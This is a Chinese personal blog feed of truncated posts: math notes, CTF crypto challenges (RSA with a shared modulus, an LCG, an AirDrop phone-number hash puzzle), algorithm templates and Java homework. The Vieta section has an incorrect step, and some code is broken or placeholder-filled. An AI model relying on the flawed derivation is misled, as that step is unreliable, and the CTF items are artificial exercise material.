$$ax^2+bx+c = 0 \quad(a!=0) \quad\delta>0$$

韦达定理

$$Vieta’s \left\{\begin{matrix} x_1 + x_2 = \frac{-b}{a} \\ x_1x_2 = \frac{c}{a} \end{matrix}\right.$$

用法

1

$$ x_1^2+x_2^2=(x_1+x_2)^2-2x_1x_2 $$

2

$$ \|x1 - x2\| = \sqrt{(x_1 - x_2)^2} \quad\color{green}=\frac{\sqrt\delta}{\|a\|}$$

$$ =\sqrt{(x_1-x_2)^2-4x_1x_2} $$

$$ =\sqrt{\frac{b^2}{a^2}-\frac{4c}{a}} $$

$$ =\sqrt{\frac{b^2-4ac}{a^2}} $$

级数

Thu, 08 Dec 2022 12:00:00 +0000

级数

调和级数

调和级数的定义

调和级数是指这样一个数列：

$$\sum_{k=1}^{\infty} \frac{1}{k}$$

调和级数的性质

$\gamma$是欧拉常数，其值为

$$\gamma = 0.57721566490153286060651209008240243104215933593992\cdots$$

明显的, $S(n)$为第$n$个调和数。
已知

$$\sum_{k=1}^{\infty} \frac{1}{k} = \infty$$

欧拉推导过调和级数有限多项式和的表达式为

2022四川省赛Crypto_WP

Thu, 17 Nov 2022 12:00:00 +0000

Crypto

写博客时的本机python环境：python 3.10 x64

cry1-babyRSA

题目附件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


#!/usr/bin/env python3
import libnum
import gmpy2

def main():
 m = ""
 p = libnum.generate_prime(1024)
 q = libnum.generate_prime(1024)
 n = p * q
 e1 = 65537
 e2 = 1145141
 m = libnum.s2n(m)
 c1 = pow(m, e1, n)
 c2 = pow(m, e2, n)
 print(f"n = {n}")
 print(f"e1 = {e1}")
 print(f"e2 = {e2}")
 print(f"c1 = {c1}")
 print(f"c2 = {c2}")

if __name__ == "__main__":
 main()

# ------------ output -------------
# n = 11609263367794994463117283145812710043177521810736993971752031031462916890183901184704668542746877577916588155978013244385351397164066533771160861236441526284927774454246028029331726391203226023580325080150500633513024867014342350030181272221968801196510315424256352865890631054232306002238256568004250127485008008138279976475038656972273740968642332785779132654095393753232949667278798806004585797554024955342308244602767094536835410577382144435188162865642061122467384470501907391577779349252938141732012071206498806107556481558249549513041515803734342211746038126753951345855276903954190730328577080831957273691313
# e1 = 65537
# e2 = 1145141
# c1 = 8279258823057357102846768374381269167364145680055017957250521243478403606503599610855366519746944230676766499525422449675601214010991204564154995560170186683394412090168422510245266135032687364205431432451045158622417794414045719898864520112347836962316252383017549810699146506152781517871135246521405624365475969605452621085531890669372145482824845129281827033881675216546685064514926792907604133415349309151330709913454541960741984877203112442510747386406221828180805888471328964423290560512976977772551838742784356814497777401061881079781523967957560383718977490546677541952293716448514035557723329598904161762173
# c2 = 4995747575438050007737011353038705757162003396847797286289786278729187499823790079035532946676851313055563930519198963823829616599717198622635901839657079748022082189146477789049024407969208203999231434278100203042702919909473619456123328867313626560538182915794195719942071958092695261033449894563006040003298826647287929451919428024895476725340892133852628235964798488419924387986089462246202364608313134686465936926347848518960121189416319175083481701958106210362456062685045840587374473767109533027613795056920007028898921123363733374705988009798831764416119904696307107441325551226052940068337901039381485797771

解题思路

查看代码和注释掉的运行结果可知：m(密文)未知，已知e1,e2,c1,c2,n

快读模板A+b

Mon, 03 Oct 2022 12:00:00 +0000

stdin A+B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


#include <iostream>
typedef long long ll;
using std::cout;
const char endl = '\n';

namespace sscio {
 inline ll pull() {
 ll sign = 1LL,res = 0LL;
 char ch = getchar();
 for (;!isdigit(ch);ch=getchar()) {
 if (ch == '-') {
 sign *= -1LL;
 }
 }
 for (;isdigit(ch);ch = getchar()) {
 res = (res << 3) + (res << 1) - '0' + ch; // *10
 }
 return sign * res;
 }
}

void solve() {
 ll n=sscio::pull();
 ll p=sscio::pull();
 cout << n + p << endl;
}

signed main() {
 solve();
 return 0 ^ 0;
}

线性筛素数

Mon, 03 Oct 2022 12:00:00 +0000

【模板】线性筛素数 - 洛谷

【深基7.例2】质数筛 - 洛谷

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


#include <iostream>
#include <bitset>
typedef long long ll;
const int sz=1e8+10;

namespace sscio {
 inline ll pull() {
 ll sign = 1LL,res = 0LL;
 char ch = getchar();
 for (;!isdigit(ch);ch=getchar()) {
 if (ch == '-') {
 sign *= -1LL;
 }
 }
 for (;isdigit(ch);ch = getchar()) {
 res = (res << 3) + (res << 1) - '0' + ch; // *10
 }
 return sign * res;
 }
}

using std::bitset;
bitset<sz> primeTable;
int primes[sz],prpp=0;
void fetchPrimes(const int &ed) { //线性筛 形参为边界
 primeTable.reset();
 primeTable.set(0);
 primeTable.set(1);
 for(register int cx=2;cx<ed;cx++) {
 if(!primeTable[cx]) {
 primes[prpp++]=cx;
 }
 for (register int cy=0;cy<prpp&&cx*primes[cy]<ed;cy++) { //用质数来筛质数
 primeTable.set(cx*primes[cy]);
 if (cx%primes[cy]==0) {
 break;
 }
 }
 }
}

void solve() {
 fetchPrimes(sz-6);
 int n=sscio::pull(); //n为查询范围,因为已经筛了超出题目范围素数了,所以无需处理
 int p=sscio::pull(); //查询的个数
 while(p--) {
 int k=sscio::pull(); //表示查询第 k 小的素数
 printf("%d\n", primes[k-1]); //因为我们下标从零开始 所以是k - 1
 }
}

signed main() {
 solve();
 return 0 ^ 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63


#include <iostream>
#include <bitset>
typedef long long ll;
const int sz=1e5+10;

namespace sscio {
 inline ll pull() {
 ll sign = 1LL,res = 0LL;
 char ch = getchar();
 for (;!isdigit(ch);ch=getchar()) {
 if (ch == '-') {
 sign *= -1LL;
 }
 }
 for (;isdigit(ch);ch = getchar()) {
 res = (res << 3) + (res << 1) - '0' + ch; // *10
 }
 return sign * res;
 }
}

using std::bitset;
bitset<sz> primeTable;
int primes[sz],prpp=0;
void fetchPrimes(const int &ed) { //线性筛 形参为边界
 primeTable.reset();
 primeTable.set(0);
 primeTable.set(1);
 for(register int cx=2;cx<ed;cx++) {
 if(!primeTable[cx]) {
 primes[prpp++]=cx;
 }
 for (register int cy=0;cy<prpp&&cx*primes[cy]<ed;cy++) { //用质数来筛质数
 primeTable.set(cx*primes[cy]);
 if (cx%primes[cy]==0) {
 break;
 }
 }
 }
}

void solve() {
 fetchPrimes(sz-6);
 // int n=sscio::pull(); //n为查询范围,因为已经筛了超出题目范围素数了,所以无需处理
 int p=sscio::pull(); //查询的个数
 int cnt = 0; //空格数量
 while(p--) {
 int k=sscio::pull();
 if (!primeTable[k]) {
 if (cnt==0) {
 cnt++;
 } else {
 putchar(' ');
 }
 printf("%d", k);
 }
 }
}

signed main() {
 solve();
 return 0 ^ 0;
}

HWS-easyRSA-Wp

Tue, 30 Aug 2022 12:00:00 +0000

from Kotori 学长の小测验

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


from secret import flag
from Crypto.Util.number import *

# seed = bytes_to_long(flag)
bits = seed.bit_length()

while True:
 p = getPrime(bits + 1) 
 if p > seed:
 break
print(p)

a = getRandomRange(1, p)
b = getRandomRange(1, p)

for _ in range(3):
 seed = (a * seed + b) % p
 print(seed)

# 31893593182018727625473530765941216190921866039118147474754069955393226712079257707838327486268599271803
# 25820280412859586557218124484272275594433027771091486422152141535682739897353623931875432576083022273940
# 24295465524789348024814588142969609603624462580932512051939198335014954252359986260009296537423802567677
# 14963686422550871447791815183480974143372785034397446416396172429864269108509521776424254168481536292904

RSA的计算过程是：

AirDrop主题密码题Wp

Fri, 26 Aug 2022 12:00:00 +0000

一道AirDrop主题密码题wp

题面

小A鼓起勇气向女神索要电话号码，但女神一定要考考他。女神说她最近刚看了一篇发表于安全顶会USENIX Security 2021的论文，论文发现苹果AirDrop隔空投送功能的漏洞，该漏洞可以向陌生人泄露AirDrop发起者或接收者的电话号码和电子邮箱。小A经过一番努力，获得了女神手机在AirDrop时传输的手机号哈希值，但再往下就不会了，你能继续帮助他吗？小A只记得女神手机号是170号段首批放号的联通号码。Hash：c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
flag格式：flag{13位电话号码（纯数字，含国家代码）}

代码本-数组入门

Wed, 25 May 2022 12:00:00 +0000

AcWing 数组的部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


#include<cstdio>

int main() {
 char t;
 scanf("%c",&t);

 double q[12][12]; // 初始化后全部读入
 for (int i = 0;i < 12; i ++ )
 for (int j = 0;j < 12; j ++ )
 scanf("%lf",&q[i][j]);

 double s = 0, c = 0;
 for (int i = 1; i <= 5; i ++ )
 for (int j = 0;j < #(i - 1)#；j ++ )
 {
 s += q[i][j];
 c += 1;
 }

 for (int i = 6; i <= 10 ;i ++ )
 for (int j = 0; j <= #(10 - i)#; j ++ )
 {
 s += q[i][j];
 c += 1;
 }

 if ( t == 'S') printf ("%.1lf\n",s);
 else printf("%.1lf\n", s / c );

 return 0;
}

密码学脚本记录

Fri, 06 May 2022 12:00:00 +0000

看题目中由 encode 可以猜到是一种编码方式来源

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


<?php
/*
convert_uudecode() 函数对 uuencode 编码的字符串进行解码。
该函数常与 convert_uuencode() 函数一起使用。
*/
 
$str = "Hello world!";
// 对字符串进行编码
$encodeString = convert_uuencode($str);
echo $encodeString . "<br>";
 
// 对字符串进行解码(注意转义字符)
$decodeString = convert_uudecode($encodeString);
echo $decodeString;
?>

去这里运行试试>>>PHP在线运行

N皇后

Thu, 05 May 2022 12:00:00 +0000

BV14Y4y1C7SW

以下是错误代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


#include <bits/stdc++.h>

using namespace std;

int hash[10][10];
int cnt;

void doAdd(int r, int c, int n, int val) {
 if (r < 0 || r >= n) {
 return ;
 }
 if (c < 0 || c >= n) {
 return ;
 }
 hash[r][c] += val;
}

void add(int r, int c, int n, int val) {
 int i;
 for (i = 0; i < n; i++) {
 doAdd(r, i, n, val);
 doAdd(i, c, r, val);
 }
 for (i = 0; i < n; i++) {
 doAdd(r + 1, c + 1, n, val)
 doAdd(r - 1, c - 1, n, val)
 doAdd(r + 1, c - 1, n, val)
 doAdd(r - 1, c + 1, n, val)
 }
}

void dfs(int depth, int maxDepth) {
 int i;
 if (depth == maxDepth) {
 ++cnt;
 return ;
 }
 for (i = 0; i < maxDepth; i++) {
 if (hash[depth][i] == 0) {
 add(depth, i, maxDepth, i);
 dfs(depth + 1, maxDepth);
 add(depth, i, maxDepth, -i)
 }
 }
}

int main() {
 int n;
 cin >> n;
 memset(hash, 0, sizeof(hash));
 dfs(0, n);
 return cnt;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83


package PACK6;
// https://www.bilibili.com/video/BV14Y4y1C7SW
public class N皇后 {
 // 首先定义一个哈希表 hash ij大于0 表示这个位置不能放皇后
 static int[][] hash = new int[10][10];
 // 定义全局变量cnt 表示方案数
 static int cnt;

 public static void doADD(int r, int c, int n, int val) {
 // 如果行的范围越越界则标记无效
 if (r < 0 || r >= n) {
 return;
 }
 // 如果列的范围越越界则标记无效
 if (c < 0 || c >= n) {
 return;
 }
 // 如果对应位置是安全的，也就是没有皇后能够攻击到，则标记为1
// (否则在对应位置的hash数组执行标记)
 if (hash[r][c] == 0) {
 hash[r][c] = val;
 }
 }

// 实现放置皇后的过程
 public static void add(int r,int c ,int n,int val) {
// val = 1; // 代表(r,c)位置放置了一个皇后
// val = -1; // 代表(r,c)位置取出了一个皇后
 int i;
 for (i = 0; i < n; i++) {
 // 每放入一个皇后,需要将他所在的行，所在的列，所在的对角线 都进行标记
 doADD(r, i, n, val); // 标记所在行
 doADD(i, c, n, val); // 标记所在列
 }
 for (i = 1; i <= n; i++) {
 // 标记主对角线
 doADD(r + i, c + i, n, val);
 doADD(r - i, c - i, n, val);
 // 标记副对角线
 doADD(r + i, c - i, n, val);
 doADD(r - i, c + i, n, val);
 }

 }
 public static void dfs(int depth, int maxDepth) {
 // 当前要放置的行号和总共要放置的行数
 // 如果当前行数==总行数 方案数+1 函数直接返回
 if (depth == maxDepth) {
 cnt++;
 return;
 }
 // 在当前行的每一列
 for (int i = 0; i < maxDepth; i++) {
// 如果发现有对应位置是安全的，也就是没有皇后能够攻击到，
 if (hash[depth][i] == 0) {
// 则调用add放置一个皇后
 add(depth, i, maxDepth, 1);
// 递归求解下一行
 dfs(depth + 1, maxDepth);
// 递归退出后，删除放置的皇后(取回前面放置的皇后)
 add(depth, i, maxDepth, -1);

 }
 }
 }
 public static int fakeMain(int n) {
// 初始化cnt = 0;
 cnt = 0;
// 初始化hash ij = 0,表示一开始一个空的棋盘
 for (int i = 0; i < 10; i++) {
 for (int j = 0; j < 10; j++) {
 hash[i][j] = 0;
 }
 }
// 递归模拟每一行放置皇后后的情况
 dfs(0, n);
 return cnt;
 }

 public static void main(String[] args) {
 fakeMain(4);
 }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64


class Solution {
 int hash[10][10];
 int cnt;

 // 实现标记
 void doAdd(int r, int c, int n, int val) {
 // 如果行的范围越界 则标记失败
 if (r < 0 || r >= n) {
 return;
 }
 // 如果列的范围越界 则标记失败
 if (c < 0 || c >= n) {
 return;
 }
 // 否则在对应的位置上的hash数组执行标记
 hash[r][c] += val;
 }
 // 实现放置皇后的过程
 void add(int r,int c,int n,int val) {
 int i;
 for (i = 0; i < n; i++)
 {
 doAdd(r,i,n,val);
 doAdd(i,c,r,val);
 }
 for (i = 0; i < n; i++)
 {
 // 标记主对角线
 doAdd(r+i,c+i,n,val);
 doAdd(r-i,c-i,n,val);
 // 标记副对角线
 doAdd(r+i,c-i,n,val);
 doAdd(r-i,c+i,n,val);
 }
 }

 void dfs(int depth, int maxDepth) {
 int i;
 if(depth == maxDepth) {
 ++cnt;
 return ;
 }
 for (i = 0; i < maxDepth; i++)
 {
 if(hash[depth][i] == 0) //对应位置安全，没有皇后能攻击到
 {
 // 则调用add放置一个皇后
 add(depth, i, maxDepth , 1);
 // 递归求解下一行
 dfs(depth + 1, maxDepth);
 // 递归推出后，取出皇后
 add(depth, i, maxDepth, -1);
 }
 }

 }
public:
 int totalNQueens(int n) {
 cnt = 0;
 memset(hash, 0, sizeof(hash));
 dfs(0,n);
 return cnt;
 }
}

密码学入门

Tue, 03 May 2022 12:00:00 +0000

5.2-5.5密码学习记录

看我回旋踢

synt{}

凯撒密码加密解密

synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}

将flag与synt进行对照
s在26位字母中是第19位，f是第6位，由于这里是解密，需要向前推算，所以偏移量为13
y是第25位，l为12位，偏移量也是13

转载知乎的科学文章

Mon, 02 May 2022 12:00:00 +0000

一学就会，树莓派4B搭建V2Ray图文教程

芝妈小汤圆

这是我的第1篇原创技术文章

大家好，我是芝妈，一个90后程序媛妈妈～

作为一个自学成才的前端工程师，最近我又对硬件树莓派产生了兴趣。主要是最近小汤圆去上托班了，我全职在家闲得慌，盘算着开始给他启蒙。

重构前(水果店管理系统)

Wed, 27 Apr 2022 12:00:00 +0000

1
2
3
4
5
6
7
8


// 水果店管理系统
// 实现水果店的增删改查
// TODO 显示全表
// TODO 修改水果库存
// TODO 修改水果价格
 // TODO 添加水果(增)
// TODO 退出系统
// TODO 各个欢迎和交互语句

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149


import java.util.Scanner;

public class 水果店管理系统 {
 // 水果店管理系统
 // 实现水果店的增删改查
 // TODO 显示全表
 // TODO 修改水果库存
 // TODO 修改水果价格
 // TODO 添加水果(增)
 // TODO 退出系统
 // TODO 各个欢迎和交互语句
 



public static void main(String[] args) {
 String[][] 表头;
 // TODO 创建初始水果信息
 表头 = new String[][]{
 {"水果名称", "水果价格(元/每斤)", "水果库存(斤)"},
 {"苹果", "3.5", "10"},
 {"香蕉", "2.5", "20"},
 {"西瓜", "3.5", "30"},
 {"荔枝", "5.5", "40"},
 {"梨", "2.5", "50"},
 };
 // TODO 修改水果信息 (输入后)查找，修改，删除，输出 操作选择的while语句
 Scanner cin = new Scanner(System.in);
 int 操作选择 = 0;
 while (true) {
 // TODO 欢迎语句
 System.out.println();
 // 格式化
 System.out.println("请选择操作：");
 // 交互
 // System.out.print("1.查找" + "\t" + "2.修改" + "\t" + "3.删除" + "\t" + "4.输出" + "\t" + "5.退出" + "\n");
 System.out.print("1.查找" + "\t" + "2.增加" + "\t" + "3.修改" + "\t" + "4.删除" + "\t" + "5.输出(此功能优先选择选项7)" + "\t" + "6.退出" + "\t" + "7.只读模式打开表格" + "\n");
 操作选择 = cin.nextInt();
 if (操作选择 == 1) {
 System.out.println("请输入要查找的水果名称：(输入0返回主菜单)");
 String 查找水果名称 = cin.next();
 if (查找水果名称.equals("0")) {
 continue;
 }
 // TODO 查找水果信息
 int for计数器 = 0;
 for (int i = 0; i < 表头.length; i++) {
 // 行
 if (表头[i][0].equals(查找水果名称)) {
 // .equals() 方法用于比较两个字符串是否相等。 == 比较的是两个对象的地址 -> https://www.cnblogs.com/Whichzzz/p/15684836.html(==与equals的区别)
 System.out.println("水果名称：" + 表头[i][0]);
 System.out.println("水果价格：" + 表头[i][1]);
 System.out.println("水果库存：" + 表头[i][2]);
 for计数器++;
 }
 }
 if (for计数器 == 0) {
 System.out.println("查找失败！没有这个数据");
 }
 }
 if (操作选择 == 2) {
 System.out.println("请输入要添加的水果名称：(输入0返回主菜单)");
 String 添加水果名称 = cin.next();
 if (添加水果名称.equals("0")) {
 continue;
 }
 System.out.println("请输入要添加的水果价格：(输入0返回主菜单)");
 String 添加水果价格 = cin.next();
 if (添加水果价格.equals("0")) {
 continue;
 }
 System.out.println("请输入要添加的水果库存：(输入0返回主菜单)");
 String 添加水果库存 = cin.next();
 if (添加水果库存.equals("0")) {
 continue;
 }
 // TODO 添加水果信息(未完成)
 String[][] 新表头 = new String[表头.length + 1][表头[0].length];
 for (int i = 0; i < 表头.length; i++) {
 for (int j = 0; j < 表头[0].length; j++) {
 新表头[i][j] = 表头[i][j];
 }
 }
 // 遍历输出新表头
 for (int i = 0; i < 新表头.length; i++) {
 for (int j = 0; j < 新表头.length; j++) {
 System.out.println(新表头[i][j]);
 }
 }
 System.out.println("操作完成");
 }
 if (操作选择 == 3) {
 System.out.println("请输入要修改的水果名称：(输入0返回主菜单)");
 String 修改水果名称 = cin.next();
 if (修改水果名称.equals("0")) {
 continue;
 }
 System.out.println("请输入要修改的水果价格：(输入0返回主菜单)");
 String 修改水果价格 = cin.next();
 if (修改水果价格.equals("0")) {
 continue;
 }
 System.out.println("请输入要修改的水果库存：");
 String 修改水果库存 = cin.next();
 // TODO 修改水果信息
 for (int i = 0; i < 表头.length; i++) {
 if (表头[i][0].equals(修改水果名称)) {
 表头[i][1] = 修改水果价格;
 表头[i][2] = 修改水果库存;
 }
 }
 System.out.println("操作完成");
 }
 if (操作选择 == 4) {
 System.out.println("请输入要删除的水果名称：");
 String 删除水果名称 = cin.next();
 // TODO 删除水果信息
 for (int i = 0; i < 表头.length; i++) {
 if (表头[i][0].equals(删除水果名称)) {
 表头[i][0] = "";
 表头[i][1] = "";
 表头[i][2] = "";
 }
 }
 }
 if (操作选择 == 5) {
 // TODO 输出水果信息
 for (int i = 0; i < 表头.length; i++) {
 System.out.println("水果名称：" + 表头[i][0]);
 System.out.println("水果价格：" + 表头[i][1]);
 System.out.println("水果库存：" + 表头[i][2]);
 }
 }
 if (操作选择 == 6) {
 // TODO 退出系统
 break;
 }
 if (操作选择 == 7) {
 // TODO 查看所有水果信息
 for (int i = 0; i < 表头.length; i++) {
 System.out.println("水果名称：" + 表头[i][0]);
 System.out.println("水果价格：" + 表头[i][1]);
 System.out.println("水果库存：" + 表头[i][2]);
 System.out.println("----------------------------------");
 }
 }
 }
 }
}

重构后(水果店管理系统)

Wed, 27 Apr 2022 12:00:00 +0000

1
2
3
4
5
6
7
8
9


/**
 * @author L1653 水果店管理 分public.
 * // TODO 显示全表
 * // TODO 修改水果库存
 * // TODO 修改水果价格
 * // TODO 添加水果(增)
 * // TODO 退出系统
 * // TODO 各个欢迎和交互语句
 */

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126


import java.util.Scanner;

/**
 * @author L1653 水果店管理 分public.
 * // TODO 显示全表
 * // TODO 修改水果库存
 * // TODO 修改水果价格
 * // TODO 添加水果(增)
 * // TODO 退出系统
 * // TODO 各个欢迎和交互语句
 */
public class S09E06重构类 {
 public static void main(String[] args) {
 String[][] 表头;
 表头 = new String[][]{
 {"水果", "数量", "单价"},
 {"苹果", "10", "5.5"},
 {"香蕉", "20", "3.5"},
 {"西瓜", "30", "4.5"},
 {"葡萄", "40", "6.5"},
 {"荔枝", "50", "7.5"},
 {"柠檬", "60", "8.5"},
 {"梨", "70", "9.5"},
 {"桃", "80", "10.5"},
 {"柚子", "90", "11.5"},
 {"桔子", "100", "12.5"},
 };
 // TODO 修改水果信息 (输入后)查找，修改，删除，输出 操作选择的while语句
 Scanner cin = new Scanner(System.in);
 while (true) {
 // TODO 显示全表
 显示表格(表头);
 System.out.println("请选择操作：");
/** System.out.println("1.查找");
 System.out.println("2.修改");
 System.out.println("3.删除");
 System.out.println("4.输出");
 System.out.println("5.退出"); */
 System.out.println("1.查找" + "\t" + "2.修改"+ "\t" + "3.删除"+ "\t" + "4.输出"+ "\t" + "5.退出");
 int 选择 = cin.nextInt();
 switch (选择) {
 case 1:
 System.out.println("请输入要查找的水果名称：");
 String 水果名称 = cin.next();
 查找水果(水果名称, 表头);
 break;
 case 2:
 System.out.println("请输入要修改的水果名称：");
 String 水果名称2 = cin.next();
 System.out.println("请输入要修改的数量：");
 int 数量 = cin.nextInt();
 System.out.println("请输入要修改的单价：");
 double 单价 = cin.nextDouble();
 修改水果(水果名称2, 数量, 单价, 表头);
 break;
 case 3:
 System.out.println("请输入要删除的水果名称：");
 String 水果名称3 = cin.next();
 删除水果(水果名称3, 表头);
 break;
 case 4:
 输出水果(表头);
 break;
 case 5:
 System.out.println("退出");
 return;
 default:
 System.out.println("输入错误，请重新输入");
 break;
 }
 }
 }

 // 水果店管理系统
 // 实现水果店的增删改查
 public static void 查找水果(String 水果名称, String[][] 表头) {
 /* TODO 查找水果 */
 for (int i = 1; i < 表头.length; i++) {
 if (表头[i][0].equals(水果名称)) {
 System.out.println("水果名称：" + 表头[i][0]);
 System.out.println("数量：" + 表头[i][1]);
 System.out.println("单价：" + 表头[i][2]);
 }
 }
 }
 public static void 修改水果(String 水果名称, int 数量, double 单价, String[][] 表头) {
 // TODO 修改水果
 for (int i = 1; i < 表头.length; i++) {
 if (表头[i][0].equals(水果名称)) {
 表头[i][1] = String.valueOf(数量);
 表头[i][2] = String.valueOf(单价);
 }
 }
 }
 public static void 删除水果(String 水果名称, String[][] 表头) {
 // TODO 删除水果
 for (int i = 1; i < 表头.length; i++) {
 if (表头[i][0].equals(水果名称)) {
 表头[i][0] = "";
 表头[i][1] = "";
 表头[i][2] = "";
 }
 }
 }
 public static void 输出水果(String[][] 表头) {
 // TODO 输出水果
 for (int i = 1; i < 表头.length; i++) {
 if (!表头[i][0].equals("")) {
 System.out.println("水果名称：" + 表头[i][0]);
 System.out.println("数量：" + 表头[i][1]);
 System.out.println("单价：" + 表头[i][2]);
 }
 }
 }

 public static void 显示表格(String[][] 表头) {
 // TODO 显示表格
 for (int i = 0; i < 表头.length; i++) {
 for (int j = 0; j < 表头[i].length; j++) {
 System.out.print(表头[i][j] + "\t");
 // System.out.println();
 }
 System.out.println();
 }
 }
}

代码云剪贴板

Mon, 25 Apr 2022 12:00:00 +0000

代码进入查看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77


import java.util.Random;
import java.util.Scanner;

public class Main {
 static Scanner sc=new Scanner(System.in);

 public static void main(String[] args) {
 System.out.println("---欢迎---");
 String[]arr=new String[100];
 System.out.println("请输入班级人数");
 int people= sc.nextInt();

 System.out.println("请输入学期课程数");
 int course=sc.nextInt();
 for (int i=1;i<=course;i++){
 System.out.println("请输入第" + i + "门课程");
 Scanner sr=new Scanner(System.in);
 String course1=sr.nextLine();
 arr[i]=course1;
 }

 System.out.print("学号");
 for(int i=0;i<=people;i++){
 System.out.print(arr[i]+" ");
 }
 System.out.print("总分"+"平均分");
 student(people,course);
 }
 public static void student(int a,int b){
 // int a = people;int b = course;
 int [][] arr = new int[9][9];
 int z=0;
 int f=0;
 for (int i=0;i<a;i++){
 arr[i][0]=i+1;
 }
 for (int i=1;i<a;i++){
 for (int j=0;j<b;j++){
 Random r=new Random();
 int grade= r.nextInt(100)+1;
 arr[i][j]=grade;
 }
 }
 // TODO 计算行平均分和总分
 for (int i=0;i<a;i++){
 for (int j=0;j<b;j++){
 z=z+arr[i][j];
 }
 f = z/b;
 //arr[i][b+1]=f;
 z=0;
 }
// for (int i=0;i<a;i++){
// // 行
// for (int j=1;j<b;j++){
// // 列
// z+=arr[i][j];
// // 总分
// }
// f=z/b;
// // 平均分
//
// arr[i][b+1]=z;
// arr[i][b+2]=f;
// z=0;
// }
 for (int i=0;i<a;i++){
 // 行
 for (int j=0;j<b+3;j++){
 // 列

 System.out.print(" "+arr[i][j]+" "+" \t");
 }
 System.out.println();
 }
 }
}

项目概述(已摆烂)

Mon, 25 Apr 2022 12:00:00 +0000

产品描述

双目摄像头和深度学习以及物联网加持赋能于’安防产品名字‘，使其根据不同的风险等级去汇报给用户，由程序不间断的检测为用户保证安全

用户群体

比赛产品雏形

Wed, 13 Apr 2022 12:00:00 +0000

安防 - 安全产品概览图（具体名字暂未定）

文本展示实现

寄

正则表达式

Mon, 11 Apr 2022 12:00:00 +0000

翻译：

什么是正则表达式？

正则表达式是一组由字母和符号组成的特殊文本，它可以用来从文本中找出满足你想要的格式的句子。

Hello World

Thu, 31 Mar 2022 12:00:00 +0000

Theme Quick Start

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1

$ hexo new "My New Post"

More info: Writing

Run server

1

$ hexo server

More info: Server

Generate static files

1

$ hexo generate

More info: Generating

Deploy to remote sites

1

$ hexo deploy

More info: Deployment

my-first-blog

Thu, 31 Mar 2022 12:00:00 +0000

提问的智慧

How To Ask Questions The Smart Way

本指南英文版版权为 Eric S. Raymond, Rick Moen 所有。

原文网址：http://www.catb.org/~esr/faqs/smart-questions.html

Copyleft 2001 by D.H.Grand(nOBODY/Ginux), 2010 by Gasolin, 2015 by Ryan Wu

本中文指南是基于原文 3.10 版以及 2010 年由 Gasolin 所翻译版本的最新翻译；

关于

Mon, 01 Jan 0001 00:00:00 +0000

欢迎来到 Zoee 的博客，很高兴遇见你！

🏠 关于本站

日常博客，主要写一些偏 CTF 的密码学内容，偶尔也会记一点 XCPC / 竞赛算法相关的东西。

👨‍💻 博主是谁

